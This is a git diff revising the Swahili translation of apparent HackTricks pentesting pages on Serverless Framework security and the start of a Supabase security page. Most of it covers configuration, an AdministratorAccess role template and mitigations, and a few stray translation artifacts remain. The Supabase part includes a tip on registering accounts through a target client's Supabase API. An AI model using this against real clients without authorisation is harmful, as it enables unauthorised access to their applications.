(kwa mfano, maendeleo, uanzishaji, uzalishaji) ambapo huduma yako inaweza kuwekwa. Inaruhusu mipangilio na uwekaji maalum wa mazingira. ```yaml provider: stage: dev ``` -Mkoa unaelezea eneo la kijiografia ambapo rasilimali zako zitawekwa. Ni muhimu kwa sababu za ucheleweshaji, kufuata sheria, na upatikanaji. +Eneo linaelezea eneo la kijiografia ambapo rasilimali zako zitawekwa. Ni muhimu kwa masuala ya ucheleweshaji, kufuata sheria, na upatikanaji. ```yaml provider: region: us-west-2 @@ -140,7 +140,7 @@ plugins: Tabaka -**Tabaka** zinakuwezesha kufunga na kusimamia msimbo au utegemezi wa pamoja tofauti na kazi zako. Hii inakuza matumizi tena na kupunguza ukubwa wa pakiti za kutekeleza. Zin定义在`layers` sehemu na kutajwa na kazi. +**Tabaka** zinakuwezesha kufunga na kusimamia msimbo au utegemezi wa pamoja tofauti na kazi zako. Hii inakuza matumizi tena na kupunguza ukubwa wa pakiti za kutekeleza. Zin defined chini ya sehemu ya `layers` na kutajwa na kazi. ```yaml layers: commonLibs: @@ -155,11 +155,11 @@ layers:
-Variables and Custom Variables +Variables na Mabadiliko ya Kijamii **Variables** zinawezesha usanidi wa dinamik kwa kuruhusu matumizi ya nafasi za kubadilisha ambazo zinatatuliwa wakati wa kutekeleza. -- **Syntax:** `${variable}` syntax inaweza kurejelea mazingira ya mazingira, maudhui ya faili, au vigezo vingine vya usanidi. +- **Syntax:** `${variable}` syntax inaweza kurejelea mabadiliko ya mazingira, maudhui ya faili, au vigezo vingine vya usanidi. ```yaml functions: @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **Custom Variables:** Sehemu ya `custom` inatumika kufafanua vigezo na usanidi maalum wa mtumiaji ambavyo vinaweza kutumika tena katika `serverless.yml`. +* **Mabadiliko ya Kijamii:** Sehemu ya `custom` inatumika kufafanua mabadiliko na usanidi maalum wa mtumiaji ambao unaweza kutumika tena katika `serverless.yml`. ```yaml custom: @@ -181,9 +181,9 @@ stage: ${opt:stage, 'dev'}
-Outputs +Matokeo -**Outputs** zinafafanua thamani ambazo zinarejeshwa baada ya huduma kutekelezwa, kama vile ARNs za rasilimali, maeneo ya mwisho, au taarifa nyingine muhimu. Zinabainishwa chini ya sehemu ya `outputs` na mara nyingi hutumiwa kufichua taarifa kwa huduma nyingine au kwa ufikiaji rahisi baada ya kutekelezwa. +**Matokeo** yanafafanua thamani ambazo zinarejeshwa baada ya huduma kutekelezwa, kama vile ARNs za rasilimali, maeneo ya mwisho, au taarifa nyingine muhimu. Yanabainishwa chini ya sehemu ya `outputs` na mara nyingi hutumiwa kufichua taarifa kwa huduma nyingine au kwa ufikiaji rahisi baada ya kutekeleza. ```yaml ¡outputs: ApiEndpoint: @@ -202,9 +202,9 @@ Fn::Join:
-IAM Roles and Permissions +Majukumu ya IAM na Ruhusa -**IAM Roles and Permissions** zinaelezea sifa za usalama na haki za ufikiaji kwa kazi zako na rasilimali nyingine. Zinapaswa kusimamiwa chini ya mipangilio ya `provider` au mipangilio ya kazi binafsi ili kubainisha ruhusa zinazohitajika. +**Majukumu ya IAM na Ruhusa** yanafafanua sifa za usalama na haki za ufikiaji kwa kazi zako na rasilimali nyingine. Yanadhibitiwa chini ya mipangilio ya `provider` au mipangilio ya kazi binafsi ili kubainisha ruhusa zinazohitajika. ```yaml provider: [...] @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Vigezo vya Mazingira -**Vigezo** vinakuruhusu kupitisha mipangilio na siri kwa kazi zako bila kuzihardcode. Vimewekwa chini ya sehemu ya `environment` kwa mtoa huduma au kazi binafsi. +**Vigezo** vinakuwezesha kupitisha mipangilio na siri kwa kazi zako bila kuzitunga kwa nguvu. Vinapangwa chini ya sehemu ya `environment` kwa mtoa huduma au kazi binafsi. ```yaml provider: environment: @@ -241,9 +241,9 @@ TABLE_NAME: ${self:custom.tableName}
-Dependencies +Mahusiano -**Dependencies** husimamia maktaba na moduli za nje ambazo kazi zako zinahitaji. Kwa kawaida zinashughulikiwa kupitia wasimamizi wa pakiti kama npm au pip, na kufungwa na kifurushi chako cha kutekeleza kwa kutumia zana au nyongeza kama `serverless-webpack`. +**Mahusiano** yanashughulikia maktaba na moduli za nje ambazo kazi zako zinahitaji. Kwa kawaida yanashughulikiwa kupitia wasimamizi wa pakiti kama npm au pip, na kufungwa na kifurushi chako cha kutekeleza kwa kutumia zana au plugins kama `serverless-webpack`. ```yaml plugins: - serverless-webpack @@ -254,7 +254,7 @@ plugins: Hooks -**Hooks** hukuruhusu kuendesha skripti au amri maalum katika hatua maalum za mzunguko wa maisha ya kutekeleza. Zinapangwa kwa kutumia plugins au ndani ya `serverless.yml` ili kutekeleza vitendo kabla au baada ya kutekeleza. +**Hooks** zinakuruhusu kuendesha skripti au amri za kawaida katika hatua maalum za mzunguko wa maisha ya kutekeleza. Zinapangwa kwa kutumia plugins au ndani ya `serverless.yml` ili kutekeleza vitendo kabla au baada ya kutekeleza. ```yaml custom: hooks: @@ -264,7 +264,7 @@ before:deploy:deploy: echo "Starting deployment..." ### Tutorial -Hii ni muhtasari wa mafunzo rasmi [**kutoka kwenye hati**](https://www.serverless.com/framework/docs/tutorial): +Hii ni muhtasari wa mafunzo rasmi [**kutoka kwenye nyaraka**](https://www.serverless.com/framework/docs/tutorial): 1. Unda akaunti ya AWS (Serverless.com inaanza katika miundombinu ya AWS) 2. Unda akaunti katika serverless.com @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Hii inapaswa kuwa imetengeneza **app** inayoitwa `tutorialapp` ambayo unaweza kuangalia katika [serverless.com](serverless.com-security.md) na folda inayoitwa `Tutorial` yenye faili **`handler.js`** inayokuwa na baadhi ya msimbo wa JS wenye msimbo wa `helloworld` na faili **`serverless.yml`** ikitangaza kazi hiyo: +Hii inapaswa kuwa imeunda **app** inayoitwa `tutorialapp` ambayo unaweza kuangalia katika [serverless.com](serverless.com-security.md) na folda inayoitwa `Tutorial` yenye faili **`handler.js`** inayokuwa na baadhi ya msimbo wa JS wenye msimbo wa `helloworld` na faili **`serverless.yml`** ikitangaza kazi hiyo: {{#tabs }} {{#tab name="handler.js" }} @@ -323,9 +323,9 @@ method: get {{#endtab }} {{#endtabs }} -4. Unda mtoa huduma wa AWS, ukitembea kwenye **dashibodi** katika `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. -1. Ili kutoa `serverless.com` ufikiaji wa AWS itahitaji kuendesha stack ya cloudformation ikitumia faili hii ya usanidi (wakati wa kuandika hii): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. Kiolezo hiki kinaunda jukumu linaloitwa **`SFRole-`** lenye **`arn:aws:iam::aws:policy/AdministratorAccess`** juu ya akaunti yenye Kitambulisho cha Kuamini kinachoruhusu akaunti ya `Serverless.com` ya AWS kufikia jukumu hilo. +4. Unda mtoa huduma wa AWS, ukitembea kwenye **dashboard** katika `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Ili kutoa `serverless.com` ufikiaji wa AWS itahitaji kuendesha cloudformation stack ikitumia faili hii ya usanidi (wakati wa kuandika hii): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Hii template inazalisha jukumu linaloitwa **`SFRole-`** lenye **`arn:aws:iam::aws:policy/AdministratorAccess`** juu ya akaunti yenye Kitambulisho cha Kuamini kinachoruhusu akaunti ya `Serverless.com` ya AWS kufikia jukumu hilo.
@@ -377,7 +377,7 @@ Type: String
-Uhusiano wa Kuamini +Uhusiano wa Kuaminiana ```json { "Version": "2012-10-17", @@ -399,7 +399,7 @@ Type: String ```
-5. Mafunzo yanahitaji kuunda faili `createCustomer.js` ambayo kimsingi itaunda kiunganishi kipya cha API kinachoshughulikiwa na faili mpya ya JS na yanahitaji kubadilisha faili `serverless.yml` ili kufanya iweze kuunda **meza mpya ya DynamoDB**, kufafanua **kigezo cha mazingira**, jukumu ambalo litakuwa likitumia lambdas zilizozalishwa. +5. Mafunzo yanahitaji kuunda faili `createCustomer.js` ambayo kimsingi itaunda kiunganishi kipya cha API kinachoshughulikiwa na faili mpya ya JS na yanahitaji kubadilisha faili `serverless.yml` ili kuifanya izalisha **meza mpya ya DynamoDB**, kufafanua **kigezo cha mazingira**, jukumu ambalo litakuwa likitumia lambdas zilizozalishwa. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -481,19 +481,19 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtab }} {{#endtabs }} -6. Tumia **`serverless deploy`** -1. Utekelezaji utafanywa kupitia CloudFormation Stack +6. Tumia **`serverless deploy`** kupeleka +1. Upelekaji utafanywa kupitia CloudFormation Stack 2. Kumbuka kwamba **lambdas zinapatikana kupitia API gateway** na si kupitia URLs za moja kwa moja 7. **Jaribu** -1. Hatua ya awali itachapisha **URLs** ambapo kazi za lambda za mwisho wa API zako zimewekwa +1. Hatua ya awali itachapisha **URLs** ambapo kazi za lambda za mwisho wa API zako zimepelekwa ## Mapitio ya Usalama wa Serverless.com ### **Mifumo na Ruhusa za IAM Zilizokosewa** -Mifumo ya IAM iliyo na ruhusa nyingi inaweza kutoa ufikiaji usioidhinishwa kwa rasilimali za wingu, na kusababisha uvujaji wa data au upotoshaji wa rasilimali. +Mifumo ya IAM yenye ruhusa nyingi sana inaweza kutoa ufikiaji usioidhinishwa kwa rasilimali za wingu, na kusababisha uvujaji wa data au upotoshaji wa rasilimali. -Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo wenye ruhusa za kuzalisha tu kumbukumbu utaundwa, kama: +Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo utaundwa na ruhusa za kuzalisha tu kumbukumbu, kama:
@@ -525,7 +525,7 @@ Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo wenye ruhusa za kuzal ```
-#### **Mikakati ya Kupunguza** +#### **Mikakati ya Kupunguza Hatari** - **Kanuni ya Haki Ndogo:** Panga ruhusa zinazohitajika tu kwa kila kazi. @@ -545,15 +545,15 @@ Action: Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -- **Tumia Majukumu Mbalimbali:** Tofautisha majukumu kulingana na mahitaji ya kazi. +- **Tumia Majukumu Tofauti:** Tofautisha majukumu kulingana na mahitaji ya kazi. --- -### **Siri zisizo Salama na Usimamizi wa Mipangilio** +### **Siri na Usimamizi wa Mipangilio Usio Salama** -Kuhifadhi taarifa nyeti (mfano, funguo za API, akidi za database) moja kwa moja katika **`serverless.yml`** au msimbo kunaweza kusababisha kufichuliwa ikiwa hifadhi zitashambuliwa. +Kuhifadhi taarifa nyeti (k.m., funguo za API, akidi za database) moja kwa moja katika **`serverless.yml`** au msimbo kunaweza kusababisha kufichuliwa ikiwa hifadhi za data zitashambuliwa. -Njia **iliyopendekezwa** ya kuhifadhi mabadiliko ya mazingira katika faili ya **`serverless.yml`** kutoka serverless.com (wakati wa kuandika hii) ni kutumia watoa huduma wa `ssm` au `s3`, ambao unaruhusu kupata **maadili ya mazingira kutoka vyanzo hivi wakati wa kutekeleza** na **kuunda** mabadiliko ya mazingira ya **lambdas** na **maandishi yasiyo na maadili**! +Njia **iliyopendekezwa** ya kuhifadhi mabadiliko ya mazingira katika faili ya **`serverless.yml`** kutoka serverless.com (wakati wa kuandika hii) ni kutumia watoa huduma wa `ssm` au `s3`, ambao unaruhusu kupata **maadili ya mazingira kutoka vyanzo hivi wakati wa kupeleka** na **kuunda** mabadiliko ya mazingira ya **lambdas** na **maandishi yasiyo na maadili**! > [!CAUTION] > Hivyo, mtu yeyote mwenye ruhusa ya kusoma mipangilio ya lambdas ndani ya AWS ataweza **kufikia mabadiliko haya yote ya mazingira kwa maandiko wazi!** @@ -564,10 +564,10 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +Na hata hii inazuia kuweka thamani ya mabadiliko ya mazingira katika faili ya **`serverless.yml`**, thamani itapatikana wakati wa kutekeleza na itakuwa **imeongezwa kwa maandiko wazi ndani ya mabadiliko ya mazingira ya lambda**. > [!TIP] -> Njia inayopendekezwa ya kuhifadhi mabadiliko ya mazingira kwa kutumia serveless.com ingekuwa **kuhifadhi katika siri ya AWS** na kuhifadhi tu jina la siri katika mabadiliko ya mazingira na **kodhi ya lambda inapaswa kukusanya hiyo**. +> Njia inayopendekezwa ya kuhifadhi mabadiliko ya mazingira kwa kutumia serveless.com ingekuwa **kuhifadhi katika siri ya AWS** na kuhifadhi tu jina la siri katika mabadiliko ya mazingira na **kod ya lambda inapaswa kuikusanya**. #### **Mikakati ya Kupunguza** @@ -577,13 +577,13 @@ And even if this prevents hardcoding the environment variable value in the **`se --- -### **Msimbo na Kazi Zenye Ukatili** +### **Msimbo na Mtegemeo Wenye Ukatili** -Kazi au utegemezi zisizokuwa na usalama zinaweza kuleta udhaifu, wakati usimamizi mbaya wa ingizo unaweza kusababisha mashambulizi ya kuingiza msimbo. +Mtegemeo wa zamani au usio salama unaweza kuleta udhaifu, wakati usimamizi mbaya wa ingizo unaweza kusababisha mashambulizi ya kuingiza msimbo. #### **Mikakati ya Kupunguza** -- **Usimamizi wa Utegemezi:** Sasisha mara kwa mara utegemezi na scan kwa udhaifu. +- **Usimamizi wa Mtegemeo:** Sasisha mara kwa mara mtegemeo na scan kwa udhaifu. ```yaml plugins: @@ -597,28 +597,28 @@ plugins: --- -### **Kukosa Kurekodi na Kufuata** +### **Kukosekana kwa Usajili na Ufuatiliaji Sahihi** -Bila kurekodi na kufuatilia vizuri, shughuli za uhalifu zinaweza kukosa kugunduliwa, kuchelewesha majibu ya tukio. +Bila usajili na ufuatiliaji sahihi, shughuli za uhalifu zinaweza kukosa kugunduliwa, kuchelewesha majibu ya tukio. #### **Mikakati ya Kupunguza** -- **Kurekodi Kati:** Punguza kumbukumbu kwa kutumia huduma kama **AWS CloudWatch** au **Datadog**. +- **Usajili wa Kati:** Punguza kumbukumbu kwa kutumia huduma kama **AWS CloudWatch** au **Datadog**. ```yaml plugins: - serverless-plugin-datadog ``` -- **Washa Kurekodi Kwa Kina:** Pata taarifa muhimu bila kufichua data nyeti. -- **Weka Arifa:** Sanidi arifa kwa shughuli au tofauti za kushangaza. -- **Kufuata Mara kwa Mara:** Fuata mara kwa mara kumbukumbu na vipimo kwa matukio ya usalama yanayoweza kutokea. +- **Washa Usajili wa Kina:** Pata taarifa muhimu bila kufichua data nyeti. +- **Weka Arifa:** Sanidi arifa kwa shughuli za kushangaza au tofauti. +- **Ufuatiliaji wa Mara kwa Mara:** Fuata mara kwa mara kumbukumbu na vipimo kwa matukio ya usalama yanayoweza kutokea. --- ### **Mikakati ya API Gateway Isiyo Salama** -APIs zilizo wazi au zisizo salama zinaweza kutumika kwa ufikiaji usioidhinishwa, mashambulizi ya Denial of Service (DoS), au mashambulizi ya tovuti. +APIs zilizo wazi au zisizo salama zinaweza kutumika kwa ufikiaji usioidhinishwa, mashambulizi ya Denial of Service (DoS), au mashambulizi ya cross-site. #### **Mikakati ya Kupunguza** @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Kukataza Kiwango na Kuchelewesha:** Zuia matumizi mabaya kwa kupunguza viwango vya maombi. +- **Kikomo cha Kiwango na Throttling:** Zuia matumizi mabaya kwa kupunguza viwango vya maombi. ```yaml provider: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Sanidi CORS Salama:** Punguza asili, mbinu, na vichwa vinavyoruhusiwa. +- **Usanidi wa CORS Salama:** Punguza asili, mbinu, na vichwa vinavyoruhusiwa. ```yaml functions: @@ -661,11 +661,11 @@ headers: - Content-Type ``` -- **Tumia Firewalls za Programu za Mtandao (WAF):** Chuja na fuatilia maombi ya HTTP kwa mifumo ya uhalifu. +- **Tumia Firewalls za Programu za Mtandao (WAF):** Chuja na ufuatilie maombi ya HTTP kwa mifumo ya uhalifu. --- -### **Kukosa Kutengwa kwa Kazi** +### **Kukosekana kwa Kutengwa kwa Kazi** Rasilimali zinazoshirikiwa na kutengwa kwa kutosha kunaweza kusababisha kupanda kwa mamlaka au mwingiliano usio na makusudi kati ya kazi. @@ -673,7 +673,7 @@ Rasilimali zinazoshirikiwa na kutengwa kwa kutosha kunaweza kusababisha kupanda - **Tenga Kazi:** Panga rasilimali tofauti na majukumu ya IAM ili kuhakikisha uendeshaji huru. - **Kugawanya Rasilimali:** Tumia hifadhidata tofauti au ndoo za kuhifadhi kwa kazi tofauti. -- **Tumia VPCs:** Weka kazi ndani ya Mifumo ya Kibinafsi ya Mtandao kwa kutengwa kwa mtandao iliyoimarishwa. +- **Tumia VPCs:** Weka kazi ndani ya Mifumo ya Kibinafsi ya Wingu kwa kutengwa kwa mtandao iliyoimarishwa. ```yaml provider: @@ -684,17 +684,17 @@ subnetIds: - subnet-xxxxxx ``` -- **Punguza Ruhusa za Kazi:** Hakikisha kazi haziwezi kufikia au kuingilia rasilimali za kila mmoja isipokuwa inahitajika wazi. +- **Punguza Mamlaka ya Kazi:** Hakikisha kazi haziwezi kufikia au kuingilia rasilimali za kila mmoja isipokuwa inahitajika wazi. --- -### **Kukosa Ulinzi wa Data** +### **Kukosekana kwa Ulinzi wa Data** -Data isiyosimbwa katika hali ya kupumzika au katika usafiri inaweza kufichuliwa, ikisababisha uvunjaji wa data au uharibifu. +Data isiyosimbwa iliyohifadhiwa au katika usafirishaji inaweza kufichuliwa, ikisababisha uvunjaji wa data au kubadilishwa. #### **Mikakati ya Kupunguza** -- **Simbua Data Katika Hali ya Kupumzika:** Tumia vipengele vya usimbaji vya huduma za wingu. +- **Simbua Data iliyohifadhiwa:** Tumia vipengele vya usimbaji wa huduma za wingu. ```yaml resources: @@ -706,19 +706,19 @@ SSESpecification: SSEEnabled: true ``` -- **Simbua Data Katika Usafiri:** Tumia HTTPS/TLS kwa usafiri wote wa data. +- **Simbua Data katika Usafirishaji:** Tumia HTTPS/TLS kwa usafirishaji wote wa data. - **Wasiliana kwa API Salama:** Lazimisha itifaki za usimbaji na kuthibitisha vyeti. - **Simamisha Funguo za Usimbaji kwa Usalama:** Tumia huduma za funguo zinazodhibitiwa na kubadilisha funguo mara kwa mara. --- -### **Kukosa Usimamizi wa Makosa Sahihi** +### **Kukosekana kwa Usimamizi Sahihi wa Makosa** Ujumbe wa makosa wa kina unaweza kufichua taarifa nyeti kuhusu miundombinu au msingi wa msimbo, wakati makosa yasiyoshughulikiwa yanaweza kusababisha kuanguka kwa programu. #### **Mikakati ya Kupunguza** -- **Ujumbe wa Makosa ya Jumla:** Epuka kufichua maelezo ya ndani katika majibu ya makosa. +- **Ujumbe wa Makosa wa Kijeni:** Epuka kufichua maelezo ya ndani katika majibu ya makosa. ```javascript javascriptCopy code// Mfano katika Node.js @@ -735,78 +735,78 @@ body: JSON.stringify({ message: 'Internal Server Error' }), }; ``` -- **Usimamizi wa Makosa Kati:** Simamia na safisha makosa kwa njia ya kawaida katika kazi zote. -- **Fuatilia na Kurekodi Makosa:** Fuata na changanua makosa ndani bila kufichua maelezo kwa watumiaji wa mwisho. +- **Usimamizi wa Kati wa Makosa:** Simamia na safisha makosa kwa njia ya kawaida katika kazi zote. +- **Fuata na Weka Kumbukumbu za Makosa:** Fuata na kuchambua makosa ndani bila kufichua maelezo kwa watumiaji wa mwisho. --- -### **Mikakati ya Utekelezaji Isiyo Salama** +### **Mikakati Isiyo Salama ya Kutekeleza** -Mikakati ya utekelezaji iliyofichuliwa au ufikiaji usioidhinishwa kwa mabomba ya CI/CD inaweza kusababisha utekelezaji wa msimbo wa uhalifu au mipangilio isiyo sahihi. +Mikakati ya kutekeleza iliyofichuliwa au ufikiaji usioidhinishwa kwa mabomba ya CI/CD inaweza kusababisha kutekelezwa kwa msimbo wa uhalifu au mipangilio isiyo sahihi. #### **Mikakati ya Kupunguza** -- **Salama Mabomba ya CI/CD:** Tekeleza udhibiti mkali wa ufikiaji, uthibitishaji wa hatua nyingi (MFA), na ukaguzi wa mara kwa mara. -- **Hifadhi Mipangilio kwa Usalama:** Hifadhi faili za utekelezaji bila siri zilizofichwa na data nyeti. +- **Hifadhi Mabomba ya CI/CD kwa Usalama:** Tekeleza udhibiti mkali wa ufikiaji, uthibitishaji wa hatua nyingi (MFA), na ukaguzi wa mara kwa mara. +- **Hifadhi Mipangilio kwa Usalama:** Hifadhi faili za kutekeleza bila siri zilizowekwa na data nyeti. - **Tumia Zana za Usalama za Miundombinu kama Msimbo (IaC):** Tumia zana kama **Checkov** au **Terraform Sentinel** kutekeleza sera za usalama. -- **Utekelezaji Usio Badilika:** Zuia mabadiliko yasiyoidhinishwa baada ya utekelezaji kwa kupitisha mazoea ya miundombinu isiyobadilika. +- **Mikakati Isiyobadilika:** Zuia mabadiliko yasiyoidhinishwa baada ya kutekeleza kwa kupitisha mbinu za miundombinu isiyobadilika. --- ### **Udhaifu katika Plugins na Nyongeza** -Kutumia plugins za tatu zisizokaguliwa au zenye uhalifu kunaweza kuleta udhaifu katika programu zako za serverless. +Kutumia plugins za tatu zisizopitiwa au zenye uhalifu kunaweza kuleta udhaifu katika programu zako za serverless. #### **Mikakati ya Kupunguza** -- **Kagua Plugins kwa Kina:** Kadiria usalama wa plugins kabla ya kuingizwa, ukipendelea zile kutoka vyanzo vinavyoaminika. +- **Pitia Plugins kwa Kina:** Kadiria usalama wa plugins kabla ya kuingizwa, ukipendelea zile kutoka vyanzo vinavyoaminika. - **Punguza Matumizi ya Plugins:** Tumia tu plugins zinazohitajika ili kupunguza uso wa shambulio. -- **Fuatilia Sasisho za Plugins:** Hifadhi plugins zikiwa na sasisho ili kufaidika na patches za usalama. -- **Tenga Mazingira ya Plugins:** Endesha plugins katika mazingira yaliyotengwa ili kudhibiti hatari zinazoweza kutokea. +- **Fuata Sasisho za Plugins:** Hifadhi plugins zikiwa za kisasa ili kufaidika na patches za usalama. +- **Tenga Mazingira ya Plugins:** Endesha plugins katika mazingira yaliyotengwa ili kudhibiti makosa yanayoweza kutokea. --- -### **Kufichua kwa Mipangilio Nyeti** +### **Kufichuliwa kwa Mipangilio Nyeti** -Kazi zinazopatikana kwa umma au APIs zisizo na mipaka zinaweza kutumika kwa shughuli zisizoidhinishwa. +Kazi zinazopatikana hadharani au APIs zisizo na kikomo zinaweza kutumika kwa shughuli zisizoidhinishwa. #### **Mikakati ya Kupunguza** - **Punguza Ufikiaji wa Kazi:** Tumia VPCs, vikundi vya usalama, na sheria za moto ili kupunguza ufikiaji kwa vyanzo vinavyoaminika. - **Tekeleza Uthibitishaji Thabiti:** Hakikisha kwamba mipangilio yote iliyofichuliwa inahitaji uthibitishaji na uidhinishaji sahihi. -- **Tumia Mabango ya API kwa Usalama:** Sanidi Mabango ya API kutekeleza sera za usalama, ikiwa ni pamoja na uthibitishaji wa ingizo na kukataza kiwango. -- **Zima Mipangilio Isiyotumika:** Kagua mara kwa mara na zima mipangilio yoyote ambayo haitumiki tena. +- **Tumia API Gateways kwa Usalama:** Sanidi API Gateways kutekeleza sera za usalama, ikiwa ni pamoja na uthibitishaji wa ingizo na kikomo cha kiwango. +- **Zima Mipangilio Isiyotumika:** Pitia mara kwa mara na zima mipangilio yoyote ambayo haitumiki tena. --- -### **Ruhusa Kupita Kiasi kwa Wajumbe wa Timu na Washirikishi wa Nje** +### **Mamlaka Mengi kwa Wajumbe wa Timu na Washirikishi wa Nje** -Kutoa ruhusa kupita kiasi kwa wajumbe wa timu na washirikishi wa nje kunaweza kusababisha ufikiaji usioidhinishwa, uvunjaji wa data, na matumizi mabaya ya rasilimali. Hatari hii inaongezeka katika mazingira ambapo watu wengi wana viwango tofauti vya ufikiaji, ikiongeza uso wa shambulio na uwezekano wa vitisho vya ndani. +Kutoa mamlaka mengi kwa wajumbe wa timu na washirikishi wa nje kunaweza kusababisha ufikiaji usioidhinishwa, uvunjaji wa data, na matumizi mabaya ya rasilimali. Hatari hii inaongezeka katika mazingira ambapo watu wengi wana viwango tofauti vya ufikiaji, ikiongeza uso wa shambulio na uwezekano wa vitisho vya ndani. #### **Mikakati ya Kupunguza** -- **Kanuni ya Ruhusa Ndogo:** Hakikisha kwamba wajumbe wa timu na washirikishi wana ruhusa tu zinazohitajika kutekeleza majukumu yao. +- **Kanuni ya Mamlaka ya Chini:** Hakikisha kwamba wajumbe wa timu na washirikishi wana mamlaka tu yanayohitajika kutekeleza majukumu yao. --- ### **Usalama wa Funguo za Ufikiaji na Funguo za Leseni** -**Funguo za Ufikiaji** na **Funguo za Leseni** ni ithibati muhimu zinazotumika kuthibitisha na kuidhinisha mwingiliano na CLI ya Serverless Framework. +**Funguo za Ufikiaji** na **Funguo za Leseni** ni ithibati muhimu zinazotumika kuthibitisha na kuidhinisha mwingiliano na Serverless Framework CLI. -- **Funguo za Leseni:** Ni vitambulisho vya kipekee vinavyohitajika kwa uthibitishaji wa ufikiaji kwa Serverless Framework Toleo la 4 ambalo linaruhusu kuingia kupitia CLI. -- **Funguo za Ufikiaji:** Ithibati zinazoruhusu CLI ya Serverless Framework kuthibitisha na Dashibodi ya Serverless Framework. Wakati wa kuingia na `serverless` cli funguo ya ufikiaji itaundwa na **kuhifadhiwa kwenye laptop**. Unaweza pia kuiseti kama mabadiliko ya mazingira yanayoitwa `SERVERLESS_ACCESS_KEY`. +- **Funguo za Leseni:** Ni vitambulisho vya kipekee vinavyohitajika kwa uthibitishaji wa ufikiaji wa Serverless Framework Toleo la 4 ambalo linaruhusu kuingia kupitia CLI. +- **Funguo za Ufikiaji:** Ithibati zinazoruhusu Serverless Framework CLI kuthibitisha na Dashibodi ya Serverless Framework. Wakati wa kuingia na `serverless` cli funguo ya ufikiaji itakuwa **imeundwa na kuhifadhiwa kwenye laptop**. Unaweza pia kuipanga kama mabadiliko ya mazingira yanayoitwa `SERVERLESS_ACCESS_KEY`. #### **Hatari za Usalama** 1. **Kufichuliwa Kupitia Hifadhi za Msimbo:** -- Kuweka au kwa bahati mbaya kupeleka Funguo za Ufikiaji na Funguo za Leseni kwenye mifumo ya kudhibiti toleo kunaweza kusababisha ufikiaji usioidhinishwa. +- Kuweka au kwa bahati mbaya kupeleka Funguo za Ufikiaji na Funguo za Leseni kwenye mifumo ya udhibiti wa toleo kunaweza kusababisha ufikiaji usioidhinishwa. 2. **Hifadhi Isiyo Salama:** - Kuhifadhi funguo katika maandiko wazi ndani ya mabadiliko ya mazingira au faili za mipangilio bila usimbaji sahihi kunaongeza uwezekano wa kufichuliwa. 3. **Usambazaji Mbaya:** -- Kushiriki funguo kupitia njia zisizo salama (k.m., barua pepe, gumzo) kunaweza kusababisha kukamatwa na wahalifu. -4. **Kukosa Mzunguko:** -- Kutokuzungusha funguo mara kwa mara kunaongeza kipindi cha kufichuliwa ikiwa funguo zitavunjwa. -5. **Ruhusa Kupita Kiasi:** -- Funguo zenye ruhusa pana zinaweza kutumika kufanya vitendo visivyoidhinishwa katika rasilimali nyingi. +- Kushiriki funguo kupitia njia zisizo salama (k.m., barua pepe, mazungumzo) kunaweza kusababisha kukamatwa na wahalifu. +4. **Kukosa Kubadilisha:** +- Kutobadilisha funguo mara kwa mara kunapanua kipindi cha kufichuliwa ikiwa funguo zitakamatwa. +5. **Mamlaka Mengi:** +- Funguo zenye mamlaka pana zinaweza kutumika kufanya vitendo visivyoidhinishwa katika rasilimali nyingi. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index e14e8cc26..e8df157e7 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -8,12 +8,12 @@ Kulingana na [**ukurasa wao wa kutua**](https://supabase.com/): Supabase ni mbad ### Subdomain -Kimsingi, wakati mradi unaundwa, mtumiaji atapata subdomain ya supabase.co kama: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Kimsingi wakati mradi unaundwa, mtumiaji atapata subdomain ya supabase.co kama: **`jnanozjdybtpqgcwhdiz.supabase.co`** ## **Mipangilio ya Hifadhidata** > [!TIP] -> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project//settings/database`** +> **Taarifa hii inaweza kupatikana kutoka kwa kiungo kama `https://supabase.com/dashboard/project//settings/database`** Hii **hifadhidata** itapelekwa katika eneo fulani la AWS, na ili kuungana nayo itakuwa inawezekana kuungana na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (hii iliundwa katika us-west-1).\ Neno la siri ni **neno la siri ambalo mtumiaji aliweka** awali. @@ -31,7 +31,7 @@ Sehemu hii pia ina chaguzi za: ## Mipangilio ya API > [!TIP] -> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project//settings/api`** +> **Taarifa hii inaweza kupatikana kutoka kwa kiungo kama `https://supabase.com/dashboard/project//settings/api`** URL ya kufikia API ya supabase katika mradi wako itakuwa kama: `https://jnanozjdybtpqgcwhdiz.supabase.co`. @@ -101,7 +101,7 @@ Priority: u=1, i Hivyo, kila wakati unapotambua mteja anayetumia supabase na subdomain waliyotolewa (inawezekana kwamba subdomain ya kampuni ina CNAME juu ya subdomain yao ya supabase), unaweza kujaribu **kuunda akaunti mpya kwenye jukwaa kwa kutumia supabase API**. 